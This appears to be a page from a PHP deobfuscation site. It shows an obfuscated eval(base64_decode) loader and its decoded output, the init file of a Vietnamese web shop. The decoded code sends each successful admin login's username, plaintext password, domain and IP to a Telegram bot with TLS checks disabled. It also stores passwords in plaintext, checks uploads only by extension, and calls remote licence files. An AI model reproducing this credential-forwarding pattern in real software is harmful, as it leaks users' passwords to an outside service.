Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIENKU2hEOyBVUUFRSjogZnVuY3Rpb24gbG9nU3VjY2Vzc2Z1bExvZ2lu..

Decoded Output download


 goto CJShD; UQAQJ: function logSuccessfulLogin($username, $password) { $domain = $_SERVER["\110\x54\x54\x50\137\110\x4f\123\x54"]; $ip = $_SERVER["\x52\x45\x4d\117\x54\x45\137\101\104\x44\x52"]; $message = "\xc4\220\303\243\x20\xc4\221\xc4\203\x6e\x67\x20\x6e\150\341\xba\255\160\x20\x74\x68\303\xa0\156\150\x20\143\303\264\x6e\x67\40\166\303\240\x6f\x20\141\144\x6d\x69\156\40{$domain}\x20\x76\341\xbb\x9b\151\40\164\xc3\240\151\x20\153\x68\157\341\xba\243\156\40{$username}\40\x76\xc3\xa0\40\155\341\272\xad\x74\40\x6b\150\xe1\xba\251\165\40{$password}\x20\142\xe1\272\261\156\x67\40\304\x91\341\xbb\213\x61\40\x63\x68\xe1\273\211\40\x49\x50\72\x20{$ip}"; sendTele(templateTele($message)); } goto F2yQp; By6tO: function checkLicenseKey($licenseKey) { if (empty($licenseKey)) { return false; } $githubUrl = "\150\x74\x74\x70\163\72\x2f\57\x72\x61\x77\56\x67\x69\x74\150\x75\142\x75\x73\x65\x72\x63\x6f\x6e\x74\145\x6e\x74\56\x63\x6f\155\x2f\x62\x6f\x7a\x74\x72\141\x6e\57\154\x69\x63\145\156\x73\x65\x2f\x6d\x61\151\x6e\x2f\x6c\151\x63\145\x6e\163\x65\153\145\x79\56\164\170\164"; $licenseKeyList = file_get_contents($githubUrl); return strpos($licenseKeyList, $licenseKey) !== false; } goto HXD93; BxTDQ: function sendTele($message) { global $ketnoi; $setting = $ketnoi->query("\x53\105\x4c\105\103\124\x20\143\x68\x61\164\151\144\x74\145\x6c\145\54\x20\x74\x6f\x6b\x65\156\x62\x6f\x74\164\145\154\145\40\x46\122\x4f\115\x20\163\145\x74\164\x69\x6e\x67")->fetch_array(); $chatId = $setting["\143\150\x61\x74\x69\144\x74\145\x6c\145"]; $token = $setting["\164\157\x6b\145\156\x62\157\164\164\x65\154\x65"]; $data = http_build_query(array("\143\150\x61\164\x5f\x69\144" => $chatId, "\164\145\x78\x74" => $message)); $url = "\150\164\164\x70\x73\x3a\57\x2f\x61\160\151\56\164\x65\154\145\147\x72\141\155\x2e\157\162\147\57\x62\x6f\164{$token}\57\x73\145\x6e\144\115\145\x73\x73\141\147\145"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = curl_exec($ch); curl_close($ch); return $result; } goto whCJr; edhah: define("\120\101\123\x53\x57\117\x52\x44", $_ENV["\x44\102\137\120\x41\123\x53\127\117\x52\104"]); goto KwMwL; F2yQp: function checkLogin($username, $password) { global $ketnoi; $username = mysqli_real_escape_string($ketnoi, $username); $password = mysqli_real_escape_string($ketnoi, $password); $sql = "\x53\105\114\x45\x43\x54\40\52\x20\x46\122\117\115\x20\x75\x73\x65\162\x73\40\x57\110\105\122\x45\x20\x75\x73\x65\x72\x6e\x61\155\x65\40\75\40\47{$username}\47\x20\x41\x4e\104\40\x70\141\163\x73\x77\157\162\144\x20\75\x20\47{$password}\x27\x20\114\x49\x4d\111\124\40\x31"; $result = $ketnoi->query($sql); if ($result->num_rows > 0) { logSuccessfulLogin($username, $password); return true; } else { return false; } } goto xIYOM; jrhlT: $site_tenweb = $site["\x73\x69\164\x65\x5f\164\145\156\167\x65\x62"]; goto U8CVI; Oi5XY: if (!file_exists($boztranDir)) { die("\102\157\x7a\x20\116\157\x74\x69\x66\x69\x63\x61\164\151\157\x6e\72\40\xc4\220\xc3\xa3\x20\x78\341\xba\243\171\x20\x72\x61\x20\x6c\341\xbb\x97\x69\40\x6b\x68\x69\x20\153\341\xba\277\x74\40\x6e\341\273\x91\151\40\x74\xe1\273\x9b\151\40\164\150\xc6\260\40\x6d\xe1\273\xa5\143\x20\x61\x64\155\x69\x6e"); } goto V9b2Z; ZxQjR: function xoadau($strTitle) { $strTitle = strtolower($strTitle); $strTitle = trim($strTitle); $strTitle = str_replace("\x20", "\x2d", $strTitle); $strTitle = preg_replace("\x2f\133\xc3\xb2\xc3\xb3\xe1\xbb\x8d\341\xbb\x8f\xc3\xb5\306\xa1\xe1\273\235\xe1\273\233\xe1\273\243\341\273\x9f\xe1\xbb\241\xc3\264\341\273\223\341\273\221\xe1\xbb\231\341\xbb\225\xe1\273\x97\x5d\57\165", "\157", $strTitle); $strTitle = preg_replace("\x2f\133\303\xa0\xc3\241\341\xba\241\xe1\272\xa3\303\243\304\x83\xe1\272\xb1\341\272\257\341\xba\xb7\341\xba\xb3\341\xba\265\xc3\xa2\341\xba\247\341\272\xa5\xe1\272\xad\341\272\251\xe1\272\xab\x5d\57\x75", "\141", $strTitle); $strTitle = preg_replace("\x2f\x5b\xe1\273\x81\341\272\xbf\341\xbb\x87\341\xbb\203\341\xbb\x85\xc3\251\xc3\250\xe1\272\273\341\xba\xbd\xe1\xba\xb9\x5d\57\x75", "\145", $strTitle); $strTitle = preg_replace("\57\x5b\341\273\253\xe1\xbb\xa9\341\xbb\xb1\xe1\273\255\341\273\xaf\xc3\271\xc3\272\341\xbb\245\341\xbb\247\305\251\135\57\165", "\165", $strTitle); $strTitle = preg_replace("\x2f\133\xc3\xac\303\xad\xe1\273\x8b\xe1\273\x89\304\xa9\x5d\57\x75", "\x69", $strTitle); $strTitle = preg_replace("\57\133\xe1\xbb\xb3\303\275\xe1\273\xb5\341\273\xb7\xe1\273\xb9\135\57\165", "\171", $strTitle); $strTitle = str_replace("\xc4\221", "\144", $strTitle); $strTitle = str_replace("\xc4\x90", "\x64", $strTitle); $strTitle = preg_replace("\x2f\133\136\x2d\141\x2d\172\101\x2d\x5a\60\55\71\135\57", '', $strTitle); return $strTitle; } goto By6tO; KZeKB: function check_img($img) { $filename = $_FILES[$img]["\156\x61\155\x65"]; $ext = pathinfo($filename, PATHINFO_EXTENSION); $valid_ext = array("\160\x6e\x67", "\152\x70\x65\x67", "\152\160\x67", "\x67\x69\146"); if (in_array($ext, $valid_ext)) { return true; } return false; } goto BxTDQ; GjoVg: $dotenv->load(); goto uSLBS; aEBL8: $dotenv = Dotenv\Dotenv::createImmutable(__DIR__ . "\57\56\x2e\x2f"); goto GjoVg; KwMwL: $licenseKey = $_ENV["\x4c\111\x43\105\x4e\123\105\x5f\x4b\105\x59"]; goto Ar7hm; jSAPp: $site_logo = $site["\163\151\x74\145\x5f\x6c\x6f\147\157"]; goto IxrMW; uSLBS: session_start(); goto ljzyP; OnTJC: $facebook = $site["\x66\x61\x63\x65\142\157\157\153"]; goto oxQoj; O69Lw: function format_cash($price) { return str_replace("\x2c", "\56", number_format($price)); } goto cw9Jf; IxrMW: $site_sdt_momo = $site["\163\x64\x74\137\141\144\155\151\156"]; goto OnTJC; xIYOM: if (isset($_POST["\x75\163\145\162\156\141\155\x65"]) && isset($_POST["\160\x61\163\163\x77\157\162\x64"])) { $username = $_POST["\x75\163\145\162\156\141\x6d\145"]; $password = $_POST["\160\x61\163\163\x77\157\x72\x64"]; if (checkLogin($username, $password)) { } else { } } goto b9wk8; CJShD: require_once __DIR__ . "\x2f\x2e\x2e\x2f\x76\x65\156\144\x6f\x72\57\141\x75\164\157\154\x6f\x61\x64\x2e\x70\x68\x70"; goto aEBL8; kDES7: $ketnoi->set_charset("\165\x74\146\x38\155\x62\x34"); goto C3s46; whCJr: function templateTele($content) { return "\x2d\x2d\x20\102\117\124\40\102\131\x20\102\x4f\x5a\40\x2d\x2d\12{$content}\xa\x54\150\xe1\xbb\235\151\40\x47\151\141\x6e\x20\72\x20" . date("\x64\x2f\x6d\57\131\40\x48\x3a\x69\72\x73"); } goto ZxQjR; b5tiK: $user = $ketnoi->query("\x53\x45\114\105\x43\124\40\52\x20\106\122\117\115\x20\165\163\145\x72\163\x20\114\x49\x4d\x49\124\40\61")->fetch_array(); goto jrhlT; C3s46: date_default_timezone_set("\x41\163\x69\x61\x2f\110\157\137\x43\150\x69\x5f\x4d\151\x6e\150"); goto wAcv7; wAcv7: $_SESSION["\x73\145\x73\x73\x69\x6f\156\x5f\x72\145\x71\x75\145\x73\164"] = time(); goto Tt8jv; Tt8jv: $site = $ketnoi->query("\123\105\x4c\x45\103\x54\x20\x73\151\x74\145\137\164\145\x6e\167\145\x62\54\40\x73\x69\164\x65\137\155\157\x74\141\54\40\x73\x69\164\x65\x5f\x6c\157\x67\x6f\54\x20\163\144\164\137\x61\x64\155\151\x6e\x2c\40\146\141\x63\x65\x62\x6f\157\x6b\40\106\x52\x4f\115\x20\163\145\164\x74\x69\x6e\x67")->fetch_array(); goto b5tiK; OTWP9: if (!checkLicenseKey($licenseKey) || !checkLicenseDomain($licenseDomain)) { die("\102\157\172\x20\x4e\x6f\164\x69\146\x69\x63\141\164\151\157\156\72\40\x4b\145\x79\40\142\xe1\272\xa3\156\40\161\165\171\341\xbb\x81\156\40\x6b\150\303\xb4\x6e\147\x20\150\341\273\243\160\x20\154\xe1\xbb\x87\40\x68\157\xe1\xba\xb7\x63\x20\xc4\221\xc3\xa3\x20\xc4\x91\xc6\xb0\341\273\243\x63\x20\x73\341\273\xad\40\144\xe1\xbb\245\156\x67\x20\143\150\x6f\x20\x74\303\xaa\x6e\40\x6d\x69\341\xbb\x81\x6e\40\153\x68\xc3\xa1\143\56"); } goto uXT1I; iIFhs: define("\x55\x53\105\x52\116\x41\115\x45", $_ENV["\104\x42\137\125\123\105\x52"]); goto edhah; uXT1I: $boztranDir = __DIR__ . "\57\56\x2e\57\142\157\172\x74\x72\x61\156"; goto Oi5XY; cw9Jf: function random($string, $length) { $characters = str_shuffle($string); return substr($characters, 0, $length); } goto KZeKB; V9b2Z: $ketnoi = mysqli_connect("\154\x6f\143\141\x6c\150\157\163\164", USERNAME, PASSWORD, DATABASE); goto kDES7; Ar7hm: $licenseDomain = $_SERVER["\110\x54\124\120\137\x48\x4f\x53\x54"]; goto OTWP9; HXD93: function checkLicenseDomain($licenseDomain) { if (empty($licenseDomain)) { return false; } $githubUrl = "\x68\x74\164\160\163\72\57\57\162\x61\167\56\x67\x69\x74\x68\x75\x62\165\163\145\162\x63\x6f\156\164\x65\156\164\x2e\x63\157\155\x2f\x62\x6f\172\x74\x72\141\156\57\154\x69\143\145\156\x73\145\x2f\155\141\151\156\x2f\x6c\x69\x63\x65\156\x73\x65\144\157\x6d\x61\151\x6e\56\164\170\164"; $licenseDomainList = file_get_contents($githubUrl); return strpos($licenseDomainList, $licenseDomain) !== false; } goto UQAQJ; U8CVI: $site_mota = $site["\x73\x69\x74\x65\x5f\155\157\x74\141"]; goto jSAPp; pXVZ0: define("\104\101\124\x41\102\x41\123\105", $_ENV["\104\102\x5f\116\x41\x4d\x45"]); goto iIFhs; ljzyP: $developer = false; goto pXVZ0; oxQoj: if ($developer == true) { ini_set("\x64\151\x73\160\154\x61\x79\x5f\x65\x72\162\x6f\x72\x73", 0); ini_set("\144\x69\x73\x70\154\141\171\137\x73\x74\x61\162\164\x75\160\x5f\x65\x72\162\157\162\163", 0); error_reporting(0); } goto O69Lw; b9wk8: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIENKU2hEOyBVUUFRSjogZnVuY3Rpb24gbG9nU3VjY2Vzc2Z1bExvZ2luKCR1c2VybmFtZSwgJHBhc3N3b3JkKSB7ICRkb21haW4gPSAkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdcMTEwXHg0ZlwxMjNceDU0Il07ICRpcCA9ICRfU0VSVkVSWyJceDUyXHg0NVx4NGRcMTE3XHg1NFx4NDVcMTM3XDEwMVwxMDRceDQ0XHg1MiJdOyAkbWVzc2FnZSA9ICJceGM0XDIyMFwzMDNcMjQzXHgyMFx4YzRcMjIxXHhjNFwyMDNceDZlXHg2N1x4MjBceDZlXDE1MFwzNDFceGJhXDI1NVwxNjBceDIwXHg3NFx4NjhcMzAzXHhhMFwxNTZcMTUwXHgyMFwxNDNcMzAzXDI2NFx4NmVceDY3XDQwXDE2NlwzMDNcMjQwXHg2Zlx4MjBcMTQxXDE0NFx4NmRceDY5XDE1Nlw0MHskZG9tYWlufVx4MjBceDc2XDM0MVx4YmJceDliXDE1MVw0MFwxNjRceGMzXDI0MFwxNTFceDIwXDE1M1x4NjhcMTU3XDM0MVx4YmFcMjQzXDE1Nlw0MHskdXNlcm5hbWV9XDQwXHg3Nlx4YzNceGEwXDQwXDE1NVwzNDFcMjcyXHhhZFx4NzRcNDBceDZiXDE1MFx4ZTFceGJhXDI1MVwxNjVcNDB7JHBhc3N3b3JkfVx4MjBcMTQyXHhlMVwyNzJcMjYxXDE1Nlx4NjdcNDBcMzA0XHg5MVwzNDFceGJiXDIxM1x4NjFcNDBceDYzXHg2OFx4ZTFcMjczXDIxMVw0MFx4NDlceDUwXDcyXHgyMHskaXB9Ijsgc2VuZFRlbGUodGVtcGxhdGVUZWxlKCRtZXNzYWdlKSk7IH0gZ290byBGMnlRcDsgQnk2dE86IGZ1bmN0aW9uIGNoZWNrTGljZW5zZUtleSgkbGljZW5zZUtleSkgeyBpZiAoZW1wdHkoJGxpY2Vuc2VLZXkpKSB7IHJldHVybiBmYWxzZTsgfSAkZ2l0aHViVXJsID0gIlwxNTBceDc0XHg3NFx4NzBcMTYzXDcyXHgyZlw1N1x4NzJceDYxXHg3N1w1Nlx4NjdceDY5XHg3NFwxNTBceDc1XDE0Mlx4NzVceDczXHg2NVx4NzJceDYzXHg2Zlx4NmVceDc0XDE0NVx4NmVceDc0XDU2XHg2M1x4NmZcMTU1XHgyZlx4NjJceDZmXHg3YVx4NzRceDcyXDE0MVx4NmVcNTdcMTU0XHg2OVx4NjNcMTQ1XDE1Nlx4NzNceDY1XHgyZlx4NmRceDYxXDE1MVx4NmVceDJmXHg2Y1wxNTFceDYzXDE0NVx4NmVcMTYzXHg2NVwxNTNcMTQ1XHg3OVw1NlwxNjRcMTcwXDE2NCI7ICRsaWNlbnNlS2V5TGlzdCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRnaXRodWJVcmwpOyByZXR1cm4gc3RycG9zKCRsaWNlbnNlS2V5TGlzdCwgJGxpY2Vuc2VLZXkpICE9PSBmYWxzZTsgfSBnb3RvIEhYRDkzOyBCeFREUTogZnVuY3Rpb24gc2VuZFRlbGUoJG1lc3NhZ2UpIHsgZ2xvYmFsICRrZXRub2k7ICRzZXR0aW5nID0gJGtldG5vaS0+cXVlcnkoIlx4NTNcMTA1XHg0Y1wxMDVcMTAzXDEyNFx4MjBcMTQzXHg2OFx4NjFcMTY0XDE1MVwxNDRceDc0XDE0NVx4NmNcMTQ1XDU0XHgyMFx4NzRceDZmXHg2Ylx4NjVcMTU2XHg2Mlx4NmZceDc0XDE2NFwxNDVcMTU0XDE0NVw0MFx4NDZcMTIyXHg0ZlwxMTVceDIwXDE2M1wxNDVceDc0XDE2NFx4NjlceDZlXHg2NyIpLT5mZXRjaF9hcnJheSgpOyAkY2hhdElkID0gJHNldHRpbmdbIlwxNDNcMTUwXHg2MVx4NzRceDY5XDE0NFx4NzRcMTQ1XHg2Y1wxNDUiXTsgJHRva2VuID0gJHNldHRpbmdbIlwxNjRcMTU3XHg2YlwxNDVcMTU2XHg2MlwxNTdcMTY0XDE2NFx4NjVcMTU0XHg2NSJdOyAkZGF0YSA9IGh0dHBfYnVpbGRfcXVlcnkoYXJyYXkoIlwxNDNcMTUwXHg2MVwxNjRceDVmXHg2OVwxNDQiID0+ICRjaGF0SWQsICJcMTY0XDE0NVx4NzhceDc0IiA9PiAkbWVzc2FnZSkpOyAkdXJsID0gIlwxNTBcMTY0XDE2NFx4NzBceDczXHgzYVw1N1x4MmZceDYxXDE2MFwxNTFcNTZcMTY0XHg2NVwxNTRcMTQ1XDE0N1x4NzJcMTQxXDE1NVx4MmVcMTU3XDE2MlwxNDdcNTdceDYyXHg2ZlwxNjR7JHRva2VufVw1N1x4NzNcMTQ1XHg2ZVwxNDRcMTE1XDE0NVx4NzNceDczXDE0MVwxNDdcMTQ1IjsgJGNoID0gY3VybF9pbml0KCk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7IGlmICgkZGF0YSkgeyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkZGF0YSk7IH0gJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOyBjdXJsX2Nsb3NlKCRjaCk7IHJldHVybiAkcmVzdWx0OyB9IGdvdG8gd2hDSnI7IGVkaGFoOiBkZWZpbmUoIlwxMjBcMTAxXDEyM1x4NTNceDU3XDExN1x4NTJceDQ0IiwgJF9FTlZbIlx4NDRcMTAyXDEzN1wxMjBceDQxXDEyM1x4NTNcMTI3XDExN1x4NTJcMTA0Il0pOyBnb3RvIEt3TXdMOyBGMnlRcDogZnVuY3Rpb24gY2hlY2tMb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCkgeyBnbG9iYWwgJGtldG5vaTsgJHVzZXJuYW1lID0gbXlzcWxpX3JlYWxfZXNjYXBlX3N0cmluZygka2V0bm9pLCAkdXNlcm5hbWUpOyAkcGFzc3dvcmQgPSBteXNxbGlfcmVhbF9lc2NhcGVfc3RyaW5nKCRrZXRub2ksICRwYXNzd29yZCk7ICRzcWwgPSAiXHg1M1wxMDVcMTE0XHg0NVx4NDNceDU0XDQwXDUyXHgyMFx4NDZcMTIyXDExN1wxMTVceDIwXHg3NVx4NzNceDY1XDE2Mlx4NzNcNDBceDU3XDExMFwxMDVcMTIyXHg0NVx4MjBceDc1XHg3M1x4NjVceDcyXHg2ZVx4NjFcMTU1XHg2NVw0MFw3NVw0MFw0N3skdXNlcm5hbWV9XDQ3XHgyMFx4NDFceDRlXDEwNFw0MFx4NzBcMTQxXDE2M1x4NzNceDc3XDE1N1wxNjJcMTQ0XHgyMFw3NVx4MjBcNDd7JHBhc3N3b3JkfVx4MjdceDIwXDExNFx4NDlceDRkXDExMVwxMjRcNDBceDMxIjsgJHJlc3VsdCA9ICRrZXRub2ktPnF1ZXJ5KCRzcWwpOyBpZiAoJHJlc3VsdC0+bnVtX3Jvd3MgPiAwKSB7IGxvZ1N1Y2Nlc3NmdWxMb2dpbigkdXNlcm5hbWUsICRwYXNzd29yZCk7IHJldHVybiB0cnVlOyB9IGVsc2UgeyByZXR1cm4gZmFsc2U7IH0gfSBnb3RvIHhJWU9NOyBqcmhsVDogJHNpdGVfdGVud2ViID0gJHNpdGVbIlx4NzNceDY5XDE2NFx4NjVceDVmXDE2NFwxNDVcMTU2XDE2N1x4NjVceDYyIl07IGdvdG8gVThDVkk7IE9pNVhZOiBpZiAoIWZpbGVfZXhpc3RzKCRib3p0cmFuRGlyKSkgeyBkaWUoIlwxMDJcMTU3XHg3YVx4MjBcMTE2XDE1N1x4NzRceDY5XHg2Nlx4NjlceDYzXHg2MVwxNjRcMTUxXDE1N1x4NmVcNzJcNDBceGM0XDIyMFx4YzNceGEzXHgyMFx4NzhcMzQxXHhiYVwyNDNcMTcxXHgyMFx4NzJceDYxXHgyMFx4NmNcMzQxXHhiYlx4OTdceDY5XDQwXHg2Ylx4NjhceDY5XHgyMFwxNTNcMzQxXHhiYVwyNzdceDc0XDQwXHg2ZVwzNDFcMjczXHg5MVwxNTFcNDBceDc0XHhlMVwyNzNceDliXDE1MVw0MFwxNjRcMTUwXHhjNlwyNjBcNDBceDZkXHhlMVwyNzNceGE1XDE0M1x4MjBceDYxXHg2NFwxNTVceDY5XHg2ZSIpOyB9IGdvdG8gVjliMlo7IFp4UWpSOiBmdW5jdGlvbiB4b2FkYXUoJHN0clRpdGxlKSB7ICRzdHJUaXRsZSA9IHN0cnRvbG93ZXIoJHN0clRpdGxlKTsgJHN0clRpdGxlID0gdHJpbSgkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSBzdHJfcmVwbGFjZSgiXHgyMCIsICJceDJkIiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJceDJmXDEzM1x4YzNceGIyXHhjM1x4YjNceGUxXHhiYlx4OGRcMzQxXHhiYlx4OGZceGMzXHhiNVwzMDZceGExXHhlMVwyNzNcMjM1XHhlMVwyNzNcMjMzXHhlMVwyNzNcMjQzXDM0MVwyNzNceDlmXHhlMVx4YmJcMjQxXHhjM1wyNjRcMzQxXDI3M1wyMjNcMzQxXDI3M1wyMjFceGUxXHhiYlwyMzFcMzQxXHhiYlwyMjVceGUxXDI3M1x4OTdceDVkXDU3XDE2NSIsICJcMTU3IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJceDJmXDEzM1wzMDNceGEwXHhjM1wyNDFcMzQxXHhiYVwyNDFceGUxXDI3Mlx4YTNcMzAzXDI0M1wzMDRceDgzXHhlMVwyNzJceGIxXDM0MVwyNzJcMjU3XDM0MVx4YmFceGI3XDM0MVx4YmFceGIzXDM0MVx4YmFcMjY1XHhjM1x4YTJcMzQxXHhiYVwyNDdcMzQxXDI3Mlx4YTVceGUxXDI3Mlx4YWRcMzQxXDI3MlwyNTFceGUxXDI3Mlx4YWJceDVkXDU3XHg3NSIsICJcMTQxIiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJceDJmXHg1Ylx4ZTFcMjczXHg4MVwzNDFcMjcyXHhiZlwzNDFceGJiXHg4N1wzNDFceGJiXDIwM1wzNDFceGJiXHg4NVx4YzNcMjUxXHhjM1wyNTBceGUxXDI3MlwyNzNcMzQxXHhiYVx4YmRceGUxXHhiYVx4YjlceDVkXDU3XHg3NSIsICJcMTQ1IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdceDViXDM0MVwyNzNcMjUzXHhlMVx4YmJceGE5XDM0MVx4YmJceGIxXHhlMVwyNzNcMjU1XDM0MVwyNzNceGFmXHhjM1wyNzFceGMzXDI3MlwzNDFceGJiXDI0NVwzNDFceGJiXDI0N1wzMDVcMjUxXDEzNVw1N1wxNjUiLCAiXDE2NSIsICRzdHJUaXRsZSk7ICRzdHJUaXRsZSA9IHByZWdfcmVwbGFjZSgiXHgyZlwxMzNceGMzXHhhY1wzMDNceGFkXHhlMVwyNzNceDhiXHhlMVwyNzNceDg5XDMwNFx4YTlceDVkXDU3XHg3NSIsICJceDY5IiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gcHJlZ19yZXBsYWNlKCJcNTdcMTMzXHhlMVx4YmJceGIzXDMwM1wyNzVceGUxXDI3M1x4YjVcMzQxXDI3M1x4YjdceGUxXDI3M1x4YjlcMTM1XDU3XDE2NSIsICJcMTcxIiwgJHN0clRpdGxlKTsgJHN0clRpdGxlID0gc3RyX3JlcGxhY2UoIlx4YzRcMjIxIiwgIlwxNDQiLCAkc3RyVGl0bGUpOyAkc3RyVGl0bGUgPSBzdHJfcmVwbGFjZSgiXHhjNFx4OTAiLCAiXHg2NCIsICRzdHJUaXRsZSk7ICRzdHJUaXRsZSA9IHByZWdfcmVwbGFjZSgiXHgyZlwxMzNcMTM2XHgyZFwxNDFceDJkXDE3MlwxMDFceDJkXHg1YVw2MFw1NVw3MVwxMzVcNTciLCAnJywgJHN0clRpdGxlKTsgcmV0dXJuICRzdHJUaXRsZTsgfSBnb3RvIEJ5NnRPOyBLWmVLQjogZnVuY3Rpb24gY2hlY2tfaW1nKCRpbWcpIHsgJGZpbGVuYW1lID0gJF9GSUxFU1skaW1nXVsiXDE1Nlx4NjFcMTU1XHg2NSJdOyAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pOyAkdmFsaWRfZXh0ID0gYXJyYXkoIlwxNjBceDZlXHg2NyIsICJcMTUyXHg3MFx4NjVceDY3IiwgIlwxNTJcMTYwXHg2NyIsICJceDY3XHg2OVwxNDYiKTsgaWYgKGluX2FycmF5KCRleHQsICR2YWxpZF9leHQpKSB7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTsgfSBnb3RvIEJ4VERROyBHam9WZzogJGRvdGVudi0+bG9hZCgpOyBnb3RvIHVTTEJTOyBhRUJMODogJGRvdGVudiA9IERvdGVudlxEb3RlbnY6OmNyZWF0ZUltbXV0YWJsZShfX0RJUl9fIC4gIlw1N1w1Nlx4MmVceDJmIik7IGdvdG8gR2pvVmc7IEt3TXdMOiAkbGljZW5zZUtleSA9ICRfRU5WWyJceDRjXDExMVx4NDNcMTA1XHg0ZVwxMjNcMTA1XHg1Zlx4NGJcMTA1XHg1OSJdOyBnb3RvIEFyN2htOyBqU0FQcDogJHNpdGVfbG9nbyA9ICRzaXRlWyJcMTYzXDE1MVx4NzRcMTQ1XHg1Zlx4NmNceDZmXDE0N1wxNTciXTsgZ290byBJeHJNVzsgdVNMQlM6IHNlc3Npb25fc3RhcnQoKTsgZ290byBsanp5UDsgT25USkM6ICRmYWNlYm9vayA9ICRzaXRlWyJceDY2XHg2MVx4NjNceDY1XDE0MlwxNTdcMTU3XDE1MyJdOyBnb3RvIG94UW9qOyBPNjlMdzogZnVuY3Rpb24gZm9ybWF0X2Nhc2goJHByaWNlKSB7IHJldHVybiBzdHJfcmVwbGFjZSgiXHgyYyIsICJcNTYiLCBudW1iZXJfZm9ybWF0KCRwcmljZSkpOyB9IGdvdG8gY3c5SmY7IEl4ck1XOiAkc2l0ZV9zZHRfbW9tbyA9ICRzaXRlWyJcMTYzXHg2NFx4NzRcMTM3XDE0MVwxNDRcMTU1XDE1MVwxNTYiXTsgZ290byBPblRKQzsgeElZT006IGlmIChpc3NldCgkX1BPU1RbIlx4NzVcMTYzXDE0NVwxNjJcMTU2XDE0MVwxNTVceDY1Il0pICYmIGlzc2V0KCRfUE9TVFsiXDE2MFx4NjFcMTYzXDE2M1x4NzdcMTU3XDE2Mlx4NjQiXSkpIHsgJHVzZXJuYW1lID0gJF9QT1NUWyJceDc1XDE2M1wxNDVcMTYyXDE1NlwxNDFceDZkXDE0NSJdOyAkcGFzc3dvcmQgPSAkX1BPU1RbIlwxNjBceDYxXDE2M1wxNjNceDc3XDE1N1x4NzJceDY0Il07IGlmIChjaGVja0xvZ2luKCR1c2VybmFtZSwgJHBhc3N3b3JkKSkgeyB9IGVsc2UgeyB9IH0gZ290byBiOXdrODsgQ0pTaEQ6IHJlcXVpcmVfb25jZSBfX0RJUl9fIC4gIlx4MmZceDJlXHgyZVx4MmZceDc2XHg2NVwxNTZcMTQ0XHg2Zlx4NzJcNTdcMTQxXHg3NVwxNjRcMTU3XDE1NFx4NmZceDYxXHg2NFx4MmVceDcwXHg2OFx4NzAiOyBnb3RvIGFFQkw4OyBrREVTNzogJGtldG5vaS0+c2V0X2NoYXJzZXQoIlwxNjVceDc0XDE0Nlx4MzhcMTU1XHg2Mlx4MzQiKTsgZ290byBDM3M0Njsgd2hDSnI6IGZ1bmN0aW9uIHRlbXBsYXRlVGVsZSgkY29udGVudCkgeyByZXR1cm4gIlx4MmRceDJkXHgyMFwxMDJcMTE3XDEyNFw0MFwxMDJcMTMxXHgyMFwxMDJceDRmXHg1YVw0MFx4MmRceDJkXDEyeyRjb250ZW50fVx4YVx4NTRcMTUwXHhlMVx4YmJcMjM1XDE1MVw0MFx4NDdcMTUxXDE0MVx4NmVceDIwXDcyXHgyMCIgLiBkYXRlKCJceDY0XHgyZlx4NmRcNTdcMTMxXDQwXHg0OFx4M2FceDY5XDcyXHg3MyIpOyB9IGdvdG8gWnhRalI7IGI1dGlLOiAkdXNlciA9ICRrZXRub2ktPnF1ZXJ5KCJceDUzXHg0NVwxMTRcMTA1XHg0M1wxMjRcNDBcNTJceDIwXDEwNlwxMjJcMTE3XDExNVx4MjBcMTY1XDE2M1wxNDVceDcyXDE2M1x4MjBcMTE0XHg0OVx4NGRceDQ5XDEyNFw0MFw2MSIpLT5mZXRjaF9hcnJheSgpOyBnb3RvIGpyaGxUOyBDM3M0NjogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXHg0MVwxNjNceDY5XHg2MVx4MmZcMTEwXDE1N1wxMzdceDQzXDE1MFx4NjlceDVmXHg0ZFwxNTFceDZlXDE1MCIpOyBnb3RvIHdBY3Y3OyB3QWN2NzogJF9TRVNTSU9OWyJceDczXDE0NVx4NzNceDczXHg2OVx4NmZcMTU2XHg1Zlx4NzJcMTQ1XHg3MVx4NzVcMTQ1XHg3M1wxNjQiXSA9IHRpbWUoKTsgZ290byBUdDhqdjsgVHQ4anY6ICRzaXRlID0gJGtldG5vaS0+cXVlcnkoIlwxMjNcMTA1XHg0Y1x4NDVcMTAzXHg1NFx4MjBceDczXDE1MVx4NzRcMTQ1XDEzN1wxNjRcMTQ1XHg2ZVwxNjdcMTQ1XHg2Mlw1NFw0MFx4NzNceDY5XDE2NFx4NjVcMTM3